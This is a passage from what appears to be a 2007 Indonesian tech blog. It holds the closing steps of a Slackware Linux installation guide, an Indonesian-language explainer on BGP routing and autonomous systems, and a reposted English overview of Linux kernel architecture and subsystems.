18. Pada "SCANNING FOR CD or DVD DRIVE", pilih [auto],
Tunggu beberapa saat.

19. Muncul "PACKAGE SERIES SELECTION", pakai pilihan paket-paket yang default saja, jadi langsung saja dengan mengetikkan [ENTER], pada dialog berikutnya pilih [full], maka Slackware akan memulai instalasi. [Waktu saat ini: Pk. 21:22]
Berdasarkanketerangan di situs resminya paket-pakt slackware dibagi kedalam beberapa bagian yg dipisahkan berdasarkan abjad tertantu.

A	-	The base system. Contains enough software to get up and running and have a text editor and basic communications programs.
AP	-	Various applications that do not require the X Window System.
D	-	Program development tools. Compilers, debuggers, interpreters, and man pages. It's all here.
E	-	GNU Emacs. Yes, Emacs is so big it requires its own series.
F	-	FAQs, HOWTOs, and other miscellaneous documentation.
GNOME	-	The GNOME desktop environment.
K	-	The source code for the Linux kernel.
KDE	-	The K Desktop Environment. An X environment which shares a lot of look-and-feel features with the MacOS and Windows. The Qt widget library is also in this series, as KDE requires it to function.
KDEI	-	Language support for the K Desktop Environment.
L	-	System libraries.
N	-	Networking programs. Daemons, mail programs, telnet, news readers, and so on.
T	-	teTeX document formatting system.
TCL	-	The Tool Command Language, Tk, TclX, and TkDesk.
X	-	The base X Window System.
XAP	-	X applications that are not part of a major desktop environment. For example Ghostscript and Netscape.
Y	-	Games (the BSD games collection, Sasteroids, Koules, and Lizards).

20. Slackware mulai menginstall paket-paket menurut seri-serinya. Tunggu beberapa saat.

21. [Waktu saat ini: Pk. 21:24], muncul "INSERT NEXT DISC" dan CD-1 di-eject oleh komputer. Masukkan CD-2 dan pilih [Enter]

*22. [Waktu saat ini: Pk. 21:34] muncul dialog "WARNING: NO ROOT PASSWORD DETECTED", pilih untuk memasang password root (=Administrator). [Enter]

*23. Masukkan password root dan konfirmasi password root.

(*bila tidak muncul, lewatkan saja, akan dibahas lagi di bawah)

24. Muncul "CONFIGURE THE SYSTEM" [Yes, Enter]

25. Muncul "INSTALL LINUX KERNEL", jawab [cdrom, OK, Enter]

26. Pilih default saja yaitu /cdrom/kernels/sata.i/bzImage [Enter]

27. "MAKE BOOTDISK", pilih Create, masukkan sebuah floppy kosong SANGAT DIANJURKAN MEMBUAT FLOPPY BOOT!!
atau boleh pilih [Skip] di sini utk melewatkannya dan melanjutkan pada langkah berikutnya. TIDAK DIANJURKAN.

28. "MODEM CONFIGURATION", [no modem, Enter] tergantung perangkat yg terinstall.

29. "Enable Hotplug ", [Yes, Enter]

30. "INSTALL LILO", [simple, OK]
31. "CONFIGURE LILO TO USE FRAMEBUFFER CONSOLE?", [1024x768x256, Enter]
32. "OPTIONAL LILO ...", kosongkan saja [OK, Enter]
33. "SELECT LILO DESTINATION", jawab [root, OK]
34. "MOUSE CONFIGURATION" pilih ps/2 atau usb tergantung pada jenis mouse Anda. [OK]
35. "GPM CONFIGURATION", [Yes,Enter]
36. "CONFIRM STARTUP SERVICE TO RUN], ikuti default, langsung [ENTER] saja.
37. "CONSOLE FONT CONFIGURATION", [No, Enter]
38. "HARDWARE CLOCK SET TO UTC?", [No, Enter]
39. "TIMEZONE Configuration", pilih Asia/Jakarta, [OK]
40. "SELECT DEFAULT WINDOW MANAGER FOR X", pilih xinitrc.kde [OK]
41. "WARNING: no root password", jawab , untuk memasukkan password root. Masukkan password root dua kali.
42. "REPLACE /etc/fstab", jawab
43. "SETUP COMPLETE". Restart komputer Anda dengan Crtl-Alt-Del. (Instalasi telah selesai).
45. Keluarkan CD instalasi.

Tentang BGP

2007-06-15T09:49:00.000-07:00

Dapatkah Anda bayangkan bagaimana dunia Internet sebenarnya? Marilah kita urai satu per satu. Dunia Internet juga memiliki daratan, kota, dan penduduk seperti halnya dunia sungguhan. Pulau-pulau, daratan besar, dan benua di dunia Internet adalah ruangan-ruangan NOC dan data center dari penyedia jasa backbone Internet di seluruh dunia atau sering disebut dengan istilah Network Access Point (NAP) Provider. ISP-ISP yang berada di bawah penyedia jasa backbone Internet ini adalah kota-kota besar dan kota metropolitannya.

ISP sebagai kota metropolitan isinya juga terdiri dari kota-kota kecil dan area-area lainnya. Kota-kota kecil dan area lain, yaitu server-server dan perangkat jaringan yang jumlahnya sangat banyak yang bertugas sebagai pelayan para pengguna. Point Of Presence (POP) milik ISP yang tersebar di area sekitar ISP juga merupakan kota-kota kecil di dalam ISP. Di dalam kota-kota kecil tersebut, terdapatlah penduduk yang beraktivitas di dalamnya. Penduduk dari dunia Internet ini adalah Anda para pengguna Internet, yang seluruhnya adalah juga penduduk dunia nyata.
Di dalam dunia Internet komunikasi antarpenduduk juga merupakan kebutuhan vital. Bukan hanya vital, justru keperluan berkomunikasilah sumber dan cikal bakal dari terciptanya dunia Internet. Untuk dapat melayani penduduknya berkomunikasi, dibuatlah jalan-jalan penghubungnya. Jalan penghubung dunia Internet adalah media komunikasi data yang jenisnya sangat banyak.
Sebuah jalan kecil dan setapak mungkin dapat dibentuk oleh sebuah line telepon yang biasa ada di rumah-rumah Anda. Jalan yang agak besar mungkin dapat dibentuk oleh koneksi leased line, ADSL, Cable, ISDN, dan banyak lagi. Jalan raya yang besar mungkin bisa Anda bangun dengan koneksi E1 2 Mbps, Fiber Optic, koneksi Fast ethernet, dan banyak lagi. Jalan udara yang tidak berkelok-kelok dapat digunakan media wireless. Semua koneksi tersebut adalah pembuka jalur komunikasi ke dunia Internet.
Namun, sampai di sini cara kerja dunia Internet mulai berbeda dengan dunia nyata. Jalan-jalan yang di bentuk di dunia Internet harus terkoneksi ke kota-kota kecil, yaitu server-server remote access dan perangkat jaringan. Perangkat tersebut adanya di ISP, ibu kota dari penduduk tersebut. Dengan demikian, semua komunikasi yang terjadi antarpara penduduk di Internet harus melewati ibu kotanya dulu. Baik penduduk yang ada di satu kota maupun dengan penduduk yang ada di belahan Bumi lainnya.
Jika masih dalam satu kota, ISP tidak perlu melempar sesi komunikasi penduduknya keluar benua, karena jika masih satu daerah biasanya ada jalan singkat menuju ke situs lokal. Jalan singkat inilah yang sering kita kenal dengan istilah Internet Exchange.
Internet Exchange merupakan kumpulan dari seluruh ISP yang ada di sebuah daerah. Tujuannya adalah agar jalur komunikasi dalam sebuah geografis yang sama tidak perlu dilarikan ke luar benua Internet. Di Indonesia, Internet Exchange-nya adalah bernama Indonesia Internet Exchange (IIX).
Jalan singkat lain juga dapat terbentuk kalau sebuah ISP memiliki jalur pribadi khusus yang menghubungkannya dengan ISP lain. Jalur pribadi ini sering disebut dengan istilah Private peering. Jalur ini bagaikan jalan tol lintas provinsi yang dapat langsung menghubungkan penduduk di dalamnya tanpa harus berkelok-kelok lagi.

Bagaimana jika situs yang ingin dituju ternyata berada di benua Internet lain? Mau tidak mau ISP harus melempar sesi komunikasi tersebut ke benua Internet yang terdekat ke situs tersebut. Atau paling tidak ke NAP-NAP provider yang berada di atas ISP tersebut. Kemudian NAP provider-lah yang membangun jalur komunikasi antarbenua Internet lain dan mencarikan jalan terbaik menuju ke situs tujuan.
Untuk menuju ke sebuah situs tujuan tentu juga akan melewati benua-benua dan juga kota-kota lain di belahan dunia Internet lain. Begitu seterusnya sehingga dunia Internet terbentuk sedemikian besarnya saat ini. Jadi inti sebenarnya Internet adalah merupakan kumpulan dari jaringan-jaringan kecil yang dijadikan satu.
Untuk melayani penggunanya untuk berkomunikasi dengan situs atau pengguna yang berada di benua lain, ISP harus memiliki sebuah komponen penting, yaitu informasi rute menuju ke lokasi yang diinginkan penggunanya. ISP tempat Anda terkoneksi mutlak harus mengetahui jalur-jalur mana saja yang dapat digunakan untuk menyambungkan komunikasi para penggunanya. Jalan-jalan yang banyak terbentang di dunia Internet mau tidak mau harus dikumpulkan oleh ISP untuk kemudian disimpan atau disebarkan lagi ke
penggunanya.
Proses pengumpulan dan maintenance informasi rute inilah yang terpenting dalam proses terjadinya Internet. Terjadinya proses ini merupakan tugas utama dari sebuah routing protocol. Untuk menangani tugas ini, dunia Internet mempercayakan satu nama routing protocol, yaitu BGP.
Apakah BGP?
Border Gateway Protocol atau yang sering disingkat BGP merupakan salah satu jenis routing protocol yang ada di dunia komunikasi data. Sebagai sebuah routing protocol, BGP memiliki kemampuan melakukan pengumpulan rute, pertukaran rute dan menentukan rute terbaik menuju ke sebuah lokasi dalam jaringan. Routing protocol juga pasti dilengkapi dengan algoritma yang pintar dalam mencari jalan terbaik. Namun yang membedakan BGP dengan routing protocol lain seperti misalnya OSPF dan IS-IS ialah, BGP termasuk dalam kategori routing protocol jenis Exterior Gateway Protocol (EGP). Apa lagi itu EGP?
Sesuai dengan namanya, Exterior, routing protocol jenis ini memiliki kemampuan melakukan pertukaran rute dari dan ke luar jaringan lokal sebuah organisasi atau kelompok tertentu. Organisasi atau kelompok tertentu diluar organisasi pribadi sering disebut dengan istilah autonomous system (AS). Maksudnya rute-rute yang dimiliki oleh sebuah AS dapat juga dimiliki oleh AS lain yang berbeda kepentingan dan otoritas. Begitu juga dengan AS tersebut dapat memiliki rute-rute yang dipunya organisasi lain. Apa untungnya organisasi lain memiliki rute milik organisasi Anda dan sebaliknya?
Keuntungannya adalah organisasi Anda bisa dikenal oleh organisasi-organisasi lain yang Anda kirimi rute. Setelah dikenali rute-rute menuju lokasi Anda, banyak orang yang dapat berkomunikasi dengan Anda. Selain itu, Anda juga menerima rute-rute menuju ke organisasi lain, sehingga Anda juga dapat membangun komunikasi dengan para pengguna yang tergabung di organisasi lain. Dengan demikian, komunikasi dapat semakin luas menyebar.
BGP dikenal sebagai routing protocol yang sangat kompleks dan rumit karena kemampuannya yang luar biasa ini, yaitu melayani pertukaran rute antarorganisasi yang besar. Routing protocol ini memiliki tingkat skalabilitas yang tinggi karena beberapa organisasi besar dapat dilayaninya dalam melakukan pertukaran routing, sehingga luas sekali jangkauan BGP dalam melayani para pengguna jaringan.
Apa yang akan terjadi jika banyak organisasi di dunia ini yang saling berkumpul dan bertukar informasi routing? Yang akan dihasilkan dari kejadian ini adalah INTERNET. Maka dari itu, tidak salah jika BGP mendapat julukan sebagai inti dari eksisnya dunia Internet.
Apakah Autonomous System?
Analogi Autonomous System atau sering disingkat AS adalah bagaikan sebuah perusahaan tempat Anda bekerja. Sebuah perusahaan memiliki peraturannya sendiri, memiliki struktur organisasi sendiri, memiliki produknya sendiri, memiliki gayanya sendiri dalam berbisnis dan memiliki privasinya sendiri. Semua itu, tidak perlu diketahui oleh orang lain di luar perusahaan Anda, bukan?.
Namun, apa jadinya jika perusahaan tersebut menghasilkan sebuah produk yang harus dijual ke masyarakat? Tentu pertama-tama produk itu haruslah diketahui orang lain di luar perusahaan tersebut. Produk hasilnya diketahui orang lain bukan berarti seluruh isi perut perusahaan tersebut bisa diketahui oleh pihak lain, bukan? Kira-kira analogi Autonomous System dalam BGP sama seperti ini.
Jaringan internal sebuah organisasi bisa terdiri dari berpuluh-puluh bahkan ratusan perangkat jaringan dan server. Semuanya bertugas melayani kepentingan organisasi tersebut, sehingga otoritas dan kontrolnya hanya boleh diatur oleh organisasi tersebut. Cisco System, sebuah perusahaan pembuat perangkat jaringan mendefinisikan Autonomous System sebagai “Sekumpulan perangkat jaringan yang berada di bawah administrasi dan strategi routing yang sama”.
Autonomous System biasanya ditentukan dengan sistem penomoran. Sistem penomoran AS di dunia Internet diatur oleh organisasi Internet bernama IANA. Apa dan bagaimana sistem penomoran AS number ini akan dibahas di bawah nanti?

Apa Analogi untuk BGP?
Jika AS diumpamakan sebagai sebuah perusahaan, routing protocol BGP dapat diumpamakan sebagai divisi marketing dan promosi dalam sebuah perusahaan. Divisi marketing memiliki tugas menginformasikan dan memasarkan produk perusahaan tersebut. Divisi marketing memiliki tugas menyebarkan informasi seputar produk yang akan dijualnya. Dengan berbagai siasat dan algoritma di dalamnya, informasi tersebut disebarkan ke seluruh pihak yang menjadi target pasarnya. Tujuannya adalah agar mereka mengetahui apa produk tersebut dan di mana mereka bisa mendapatkannya.
Selain itu, divisi marketing juga memiliki tugas melakukan survai pasar yang menjadi target penjualan produknya. Para pembeli dan pengecer produk juga akan memberikan informasi seputar keinginan dan kebutuhan mereka terhadap produk yang dijual perusahaan tersebut. Divisi marketing juga perlu mengetahui bagaimana kondisi, prosepek, rute perjalanan, karakteristik tertentu dari suatu daerah target penjualannya. Jika semua informasi tersebut sudah diketahui, maka akan diolah menjadi sebuah strategi marketing yang hebat.
BGP memiliki tugas yang kurang lebih sama dengan divisi marketing dan promosi pada sebuah perusahaan. Tugas utama dari BGP adalah memberikan informasi tentang apa yang dimiliki oleh sebuah organisasi ke dunia di luar. Tujuannya adalah untuk memperkenalkan pada dunia luar alamat-alamat IP apa saja yang ada dalam jaringan tersebut. Setelah dikenal dari luar, server-server, perangkat jaringan, PC-PC dan perangkat komputer lainnya yang ada dalam jaringan tersebut juga dapat dijangkau dari dunia luar. Selain itu, informasi dari luar juga dikumpulkannya untuk keperluan organisasi tersebut berkomunikasi dengan dunia luar.
Dengan mengenal alamat-alamat IP yang ada di jaringan lain, maka para pengguna dalam jaringan Anda juga dapat menjangkau jaringan mereka. Sehingga terbukalah halaman web Yahoo, search engine Google, toko buku Amazon, dan banyak lagi.
Mengapa Menggunakan BGP?
BGP merupakan satu-satunya routing protocol yang dapat digunakan untuk menghubungkan dua organisasi besar yang berbeda kepentingan. Meskipun routing protocol jenis EGP bukan hanya BGP saja, namun tampaknya BGP sudah menjadi standar internasional untuk keperluan ini. Hal ini dikarenakan BGP memiliki fitur-fitur yang luar biasa banyak dan fleksibel.
Mulai dari pengaturan frekuensi routing update, sistem pembangunan hubungan dengan AS tetangga, sistem hello, policy-policy penyebaran informasi routing, dan banyak lagi fitur lain yang dapat Anda modifikasi dan utak-atik sendiri sesuai dengan selera. Maka dari itu BGP merupakan routing protocol yang dapat dikontrol sebebasbebasnya oleh pengguna. Dengan demikian, banyak sekali kebutuhan yang dapat terpenuhi dengan menggunakan BGP.
BGP juga sangat tepat jika sebuah perusahaan memiliki jalur menuju internet yang berjumlah lebih dari satu. Kondisi jaringan dimana memiliki jalur keluar lebih dari satu buah ini sering disebut dengan istilah multihoming. Jaringan multihoming pada umumnya adalah jaringan berskala sedang sampai besar seperti misalnya ISP, bank, perusahaan minyak multinasional, dan banyak lagi. Biasanya jaringan ini memiliki blok IP dan nomor AS sendiri.
Peranan BGP dalam jaringan multihoming ini sangat besar. Pertama, BGP akan berperan sebagai routing protocol yang melakukan pertukaran routing dengan ISP atau NAP yang berada di atas jaringan ini. Kedua, BGP dengan dipadukan oleh pengaturan policy-policynya yang sangat fleksibel dapat membuat sistem load balancing traffic yang keluar masuk. Bagaimana membuat sistem load balancing dengan menggunakan BGP akan dibahas pada artikel edisi berikutnya.
Selain itu, BGP juga merupakan routing protocol yang sangat reliable kerjanya. Hal ini dikarenakan BGP menggunakan protokol TCP untuk berkomunikasi dengan tetangganya
dalam melakukan pertukaran informasi. TCP merupakan protokol yang menganut sistem reliable service, di mana setiap sesi komunikasi yang dibangun berdasarkan protokol ini harus dipastikan sampai tidaknya.
Pemastian ini dilakukan menggunakan sistem Acknowledge terhadap setiap sesi komunikasi yang terjadi. Dengan demikian, hampir tidak ada informasi routing dari BGP yang tidak sampai ke perangkat tujuannya. Routing protocol BGP yang sekarang banyak
digunakan adalah BGP versi 4 atau lebih sering disingkat sebagai BGP-4.
Bagaimana Karakteristik BGP?
Kecanggihan dan kerumitan BGP sebenarnya dapat diperjelas intinya dengan beberapa karakteristik kunci. Berikut ini adalah karakteristik routing protokol BGP yang
menandakan ciri khasnya:
• BGP adalah Path Vector routing protocol yang dalam proses menentukan rute-rute terbaiknya selalu mengacu kepada path yang terbaik dan terpilih yang didapatnya dari router BGP yang lainnya.
• Routing table akan dikirim secara penuh pada awal dari sesi BGP, update selanjutnya hanya bersifat incremental atau menambahi dan mengurangi routing yang sudah ada saja.
• Router BGP membangun dan menjaga koneksi antar-peer menggunakan port TCP nomor 179.
• Koneksi antar-peer dijaga dengan menggunakan sinyal keepalive secara periodik.
• Kegagalan menemukan sinyal keepalive, routing update, atau sinyal-sinyal notifikasi lainnya pada sebuah router BGP dapat memicu perubahan status BGP peer dengan router lain, sehingga mungkin saja akan memicu update-update baru ke router yang lain.
• Metrik yang digunakan BGP untuk menentukan rute terbaik sangat kompleks dan dapat dimodifikasi dengan sangat fleksibel. Ini merupakan sumber kekuatan BGP yang sebenarnya. Metrik-metrik tersebut sering disebut dengan istilah Attribute.
• Penggunaan sistem pengalamatan hirarki dan kemampuannya untuk melakukan manipulasi aliran traffic membuat routing protokol BGP sangat skalabel untuk perkembangan jaringan dimasa mendatang.
• BGP memiliki routing table sendiri yang biasanya memuat informasi prefix-prefix routing yang diterimanya dari router BGP lain. Prefixprefix ini juga disertai dengan informasi atributnya yang dicantumkan secara spesifik di dalamnya.
• BGP memungkinkan Anda memanipulasi traffic menggunakan attribute-attributenya yang cukup banyak. Attribute ini memiliki tingkat prioritas untuk dijadikan sebagai
acuan.
Kapan Saatnya Tidak Menggunakan BGP?
Seperti dijelaskan di atas, BGP merupakan routing protocol yang kompleks dan sulit untuk di-maintain. Dengan demikian, penggunaannya diperlukan keahlian khusus dan juga perangkat router berkemampuan proses yang tinggi. Untuk itu, perencanaan yang baik sangat diperlukan untuk menggunakan BGP. Ada kalanya Anda tidak perlu menggunakan routing protocol ini dalam berhubungan dengan AS lain. Jangan gunakan BGP untuk jaringan dengan situasi seperti berikut ini:
• Hanya ada satu buah koneksi yang menuju ke Internet atau ke AS lain. Jaringan ini sering disebut dengan istilah singlehoming.
• Policy routing untuk ke Internet dan pemilihan jalur terbaik tidak terlalu diperlukan dalam sebuah AS.
• Perangkat router yang akan digunakan untuk menjalankan BGP tidak memiliki cukup memory dan tenaga processing untuk menangani update informasi dalam jumlah besar dan konstan.
• Keterbatasan pengetahuan dan kemampuan para administrator jaringannya dalam hal policy routing dan karakteristik BGP lainnya.
• Bandwidth yang kecil yang menghubungkan AS yang satu dengan lainnya.
Inti Internet yang Rumit
Terjadinya sebuah dunia bernama Internet memang sangat rumit. Bagaimana tidak pasalnya semua manusia yang ada di dunia ini ingin dapat dilayani permintaan komunikasinya, tentu sangat rumit, bukan? Kerumitannya ini terlihat juga pada routing protocol yang bertugas mengatur dan menciptakan komunikasi tersebut, yaitu BGP.
BGP memang sangat rumit, namun juga sangat bertenaga dalam melayani kebutuhan penduduk dunia akan internet. Karena kerumitan dan keunikannya inilah BGP begitu menarik untuk dipelajari. Namun untuk mempelajari lebih dalam lagi mungkin perlu training khusus dan pengalaman bertahun-tahun. Anda dapat mengetahui bagaimana dunia internet yang sebenarnya dari mempelajari BGP. Pada edisi selanjutnya akan dibahas bagaimana cara kerja BGP, atribut-atribut BGP, dan pernak-pernik lainnya. Selamat belajar!

http://www.pcmedia.co.id

Anatomy of the Linux kernel

2007-06-13T19:57:00.000-07:00

Anatomy of the Linux kernel

History and architectural decomposition

The Linux® kernel is the core of a large and complex operating system, and while it's huge, it is well organized in terms of subsystems and layers. In this article, you explore the general structure of the Linux kernel and get to know its major subsystems and core interfaces. Where possible, you get links to other IBM articles to help you dig deeper.

Given that the goal of this article is to introduce you to the Linux kernel and explore its architecture and major components, let's start with a short tour of Linux kernel history, then look at the Linux kernel architecture from 30,000 feet, and, finally, examine its major subsystems. The Linux kernel is over six million lines of code, so this introduction is not exhaustive. Use the pointers to more content to dig in further.

A short tour of Linux history

Linux or GNU/Linux?
You've probably noticed that Linux as an operating system is referred to in some cases as "Linux" and in others as "GNU/Linux." The reason behind this is that Linux is the kernel of an operating system. The wide range of applications that make the operating system useful are the GNU software. For example, the windowing system, compiler, variety of shells, development tools, editors, utilities, and other applications exist outside of the kernel, many of which are GNU software. For this reason, many consider "GNU/Linux" a more appropriate name for the operating system, while "Linux" is appropriate when referring to just the kernel.

While Linux is arguably the most popular open source operating system, its history is actually quite short considering the timeline of operating systems. In the early days of computing, programmers developed on the bare hardware in the hardware's language. The lack of an operating system meant that only one application (and one user) could use the large and expensive device at a time. Early operating systems were developed in the 1950s to provide a simpler development experience. Examples include the General Motors Operating System (GMOS) developed for the IBM 701 and the FORTRAN Monitor System (FMS) developed by North American Aviation for the IBM 709.

In the 1960s, Massachusetts Institute of Technology (MIT) and a host of companies developed an experimental operating system called Multics (or Multiplexed Information and Computing Service) for the GE-645. One of the developers of this operating system, AT&T, dropped out of Multics and developed their own operating system in 1970 called Unics. Along with this operating system was the C language, for which C was developed and then rewritten to make operating system development portable.

Twenty years later, Andrew Tanenbaum created a microkernel version of UNIX®, called MINIX (for minimal UNIX), that ran on small personal computers. This open source operating system inspired Linus Torvalds' initial development of Linux in the early 1990s (see Figure 1).

Figure 1. Short history of major Linux kernel releases

Linux quickly evolved from a single-person project to a world-wide development project involving thousands of developers. One of the most important decisions for Linux was its adoption of the GNU General Public License (GPL). Under the GPL, the Linux kernel was protected from commercial exploitation, and it also benefited from the user-space development of the GNU project (of Richard Stallman, whose source dwarfs that of the Linux kernel). This allowed useful applications such as the GNU Compiler Collection (GCC) and various shell support.

Introduction to the Linux kernel

Now on to a high-altitude look at the GNU/Linux operating system architecture. You can think about an operating system from two levels, as shown in Figure 2.

Figure 2. The fundamental architecture of the GNU/Linux operating system

Methods for system call interface (SCI)
In reality, the architecture is not as clean as what is shown in Figure 2. For example, the mechanism by which system calls are handled (transitioning from the user space to the kernel space) can differ by architecture. Newer x86 central processing units (CPUs) that provide support for virtualization instructions are more efficient in this process than older x86 processors that use the traditional int 80h method.

At the top is the user, or application, space. This is where the user applications are executed. Below the user space is the kernel space. Here, the Linux kernel exists.

There is also the GNU C Library (glibc). This provides the system call interface that connects to the kernel and provides the mechanism to transition between the user-space application and the kernel. This is important because the kernel and user application occupy different protected address spaces. And while each user-space process occupies its own virtual address space, the kernel occupies a single address space. For more information, see the links in the Resources section.

The Linux kernel can be further divided into three gross levels. At the top is the system call interface, which implements the basic functions such as read and write. Below the system call interface is the kernel code, which can be more accurately defined as the architecture-independent kernel code. This code is common to all of the processor architectures supported by Linux. Below this is the architecture-dependent code, which forms what is more commonly called a BSP (Board Support Package). This code serves as the processor and platform-specific code for the given architecture.

Properties of the Linux kernel

When discussing architecture of a large and complex system, you can view the system from many perspectives. One goal of an architectural decomposition is to provide a way to better understand the source, and that's what we'll do here.

The Linux kernel implements a number of important architectural attributes. At a high level, and at lower levels, the kernel is layered into a number of distinct subsystems. Linux can also be considered monolithic because it lumps all of the basic services into the kernel. This differs from a microkernel architecture where the kernel provides basic services such as communication, I/O, and memory and process management, and more specific services are plugged in to the microkernel layer. Each has its own advantages, but I'll steer clear of that debate.

Over time, the Linux kernel has become efficient in terms of both memory and CPU usage, as well as extremely stable. But the most interesting aspect of Linux, given its size and complexity, is its portability. Linux can be compiled to run on a huge number of processors and platforms with different architectural constraints and needs. One example is the ability for Linux to run on a process with a memory management unit (MMU), as well as those that provide no MMU. The uClinux port of the Linux kernel provides for non-MMU support. See the Resources section for more details.

Major subsystems of the Linux kernel

Now let's look at some of the major components of the Linux kernel using the breakdown shown in Figure 3 as a guide.

Figure 3. One architectural perspective of the Linux kernel

System call interface

The SCI is a thin layer that provides the means to perform function calls from user space into the kernel. As discussed previously, this interface can be architecture dependent, even within the same processor family. The SCI is actually an interesting function-call multiplexing and demultiplexing service. You can find the SCI implementation in ./linux/kernel, as well as architecture-dependent portions in ./linux/arch. More details for this component are available in the Resources section.

Process management

What is a kernel?
As shown in Figure 3, a kernel is really nothing more than a resource manager. Whether the resource being managed is a process, memory, or hardware device, the kernel manages and arbitrates access to the resource between multiple competing users (both in the kernel and in user space).

Process management is focused on the execution of processes. In the kernel, these are called threads and represent an individual virtualization of the processor (thread code, data, stack, and CPU registers). In user space, the term process is typically used, though the Linux implementation does not separate the two concepts (processes and threads). The kernel provides an application program interface (API) through the SCI to create a new process (fork, exec, or Portable Operating System Interface [POSIX] functions), stop a process (kill, exit), and communicate and synchronize between them (signal, or POSIX mechanisms).

Also in process management is the need to share the CPU between the active threads. The kernel implements a novel scheduling algorithm that operates in constant time, regardless of the number of threads vying for the CPU. This is called the O(1) scheduler, denoting that the same amount of time is taken to schedule one thread as it is to schedule many. The O(1) scheduler also supports multiple processors (called Symmetric MultiProcessing, or SMP). You can find the process management sources in ./linux/kernel and architecture-dependent sources in ./linux/arch). You can learn more about this algorithm in the Resources section.

Memory management

Another important resource that's managed by the kernel is memory. For efficiency, given the way that the hardware manages virtual memory, memory is managed in what are called pages (4KB in size for most architectures). Linux includes the means to manage the available memory, as well as the hardware mechanisms for physical and virtual mappings.

But memory management is much more than managing 4KB buffers. Linux provides abstractions over 4KB buffers, such as the slab allocator. This memory management scheme uses 4KB buffers as its base, but then allocates structures from within, keeping track of which pages are full, partially used, and empty. This allows the scheme to dynamically grow and shrink based on the needs of the greater system.

Supporting multiple users of memory, there are times when the available memory can be exhausted. For this reason, pages can be moved out of memory and onto the disk. This process is called swapping because the pages are swapped from memory onto the hard disk. You can find the memory management sources in ./linux/mm.

Virtual file system

The virtual file system (VFS) is an interesting aspect of the Linux kernel because it provides a common interface abstraction for file systems. The VFS provides a switching layer between the SCI and the file systems supported by the kernel (see Figure 4).

Figure 4. The VFS provides a switching fabric between users and file systems

At the top of the VFS is a common API abstraction of functions such as open, close, read, and write. At the bottom of the VFS are the file system abstractions that define how the upper-layer functions are implemented. These are plug-ins for the given file system (of which over 50 exist). You can find the file system sources in ./linux/fs.

Below the file system layer is the buffer cache, which provides a common set of functions to the file system layer (independent of any particular file system). This caching layer optimizes access to the physical devices by keeping data around for a short time (or speculatively read ahead so that the data is available when needed). Below the buffer cache are the device drivers, which implement the interface for the particular physical device.

Network stack

The network stack, by design, follows a layered architecture modeled after the protocols themselves. Recall that the Internet Protocol (IP) is the core network layer protocol that sits below the transport protocol (most commonly the Transmission Control Protocol, or TCP). Above TCP is the sockets layer, which is invoked through the SCI.

The sockets layer is the standard API to the networking subsystem and provides a user interface to a variety of networking protocols. From raw frame access to IP protocol data units (PDUs) and up to TCP and the User Datagram Protocol (UDP), the sockets layer provides a standardized way to manage connections and move data between endpoints. You can find the networking sources in the kernel at ./linux/net.

Device drivers

The vast majority of the source code in the Linux kernel exists in device drivers that make a particular hardware device usable. The Linux source tree provides a drivers subdirectory that is further divided by the various devices that are supported, such as Bluetooth, I2C, serial, and so on. You can find the device driver sources in ./linux/drivers.

Architecture-dependent code

While much of Linux is independent of the architecture on which it runs, there are elements that must consider the architecture for normal operation and for efficiency. The ./linux/arch subdirectory defines the architecture-dependent portion of the kernel source contained in a number of subdirectories that are specific to the architecture (collectively forming the BSP). For a typical desktop, the i386 directory is used. Each architecture subdirectory contains a number of other subdirectories that focus on a particular aspect of the kernel, such as boot, kernel, memory management, and others. You can find the architecture-dependent code in ./linux/arch.

Interesting features of the Linux kernel

If the portability and efficiency of the Linux kernel weren't enough, it provides some other features that could not be classified in the previous decomposition.

Linux, being a production operating system and open source, is a great test bed for new protocols and advancements of those protocols. Linux supports a large number of networking protocols, including the typical TCP/IP, and also extension for high-speed networking (greater than 1 Gigabit Ethernet [GbE] and 10 GbE). Linux also supports protocols such as the Stream Control Transmission Protocol (SCTP), which provides many advanced features above TCP (as a replacement transport level protocol).

Linux is also a dynamic kernel, supporting the addition and removal of software components on the fly. These are called dynamically loadable kernel modules, and they can be inserted at boot when they're needed (when a particular device is found requiring the module) or at any time by the user.

A recent advancement of Linux is its use as an operating system for other operating systems (called a hypervisor). Recently, a modification to the kernel was made called the Kernel-based Virtual Machine (KVM). This modification enabled a new interface to user space that allows other operating systems to run above the KVM-enabled kernel. In addition to running another instance of Linux, Microsoft® Windows® can also be virtualized. The only constraint is that the underlying processor must support the new virtualization instructions. See the Resources section for more information.

Going further

Share this...


	Digg this story

	Post to del.icio.us

	Slashdot it!

This article just scratched the surface of the Linux kernel architecture and its features and capabilities. You can check out the Documentation directory that's provided in every Linux distribution for detailed information about the contents of the kernel. Be sure to check out the Resources section at the end of this article for more detailed information about many of the topics discussed here.

Resources

Learn

The GNU site describes the GNU GPL that covers the Linux kernel and most of the useful applications provided with it. Also described is a less restrictive form of the GPL called the Lesser GPL (LGPL).
UNIX, MINIX and Linux are covered in Wikipedia, along with a detailed family tree of the operating systems.
The GNU C Library, or glibc, is the implementation of the standard C library. It's used in the GNU/Linux operating system, as well as the GNU/Hurd microkernel operating system.
uClinux is a port of the Linux kernel that can execute on systems that lack an MMU. This allows the Linux kernel to run on very small embedded platforms, such as the Motorola DragonBall processor used in the PalmPilot Personal Digital Assistants (PDAs).
"Kernel command using Linux system calls" (developerWorks, March 2007) covers the SCI, which is an important layer in the Linux kernel, with user-space support from glibc that enables function calls between user space and the kernel.
"Inside the Linux scheduler" (developerWorks, June 2006) explores the new O(1) scheduler introduced in Linux 2.6 that is efficient, scales with a large number of processes (threads), and takes advantage of SMP systems.
"Access the Linux kernel using the /proc filesystem" (developerWorks, March 2006) looks at the /proc file system, which is a virtual file system that provides a novel way for user-space applications to communicate with the kernel. This article demonstrates /proc, as well as loadable kernel modules.
"Server clinic: Put virtual filesystems to work" (developerWorks, April 2003) delves into the VFS layer that allows Linux to support a variety of different file systems through a common interface. This same interface is also used for other types of devices, such as sockets.
"Inside the Linux boot process" (developerWorks, May 2006) examines the Linux boot process, which takes care of bringing up a Linux system and is the same basic process whether you're booting from a hard disk, floppy, USB memory stick, or over the network.
"Linux initial RAM disk (initrd) overview" (developerWorks, July 2006) inspects the initial RAM disk, which isolates the boot process from the physical medium from which it's booting.
"Better networking with SCTP" (developerWorks, February 2006) covers one of the most interesting networking protocols, Stream Control Transmission Protocol, which operates like TCP but adds a number of useful features such as messaging, multi-homing, and multi-streaming. Linux, like BSD, is a great operating system if you're interested in networking protocols.
"Anatomy of the Linux slab allocator" (developerWorks, May 2007) covers one of the most interesting aspects of memory management in Linux, the slab allocator. This mechanism originated in SunOS, but it's found a friendly home inside the Linux kernel.
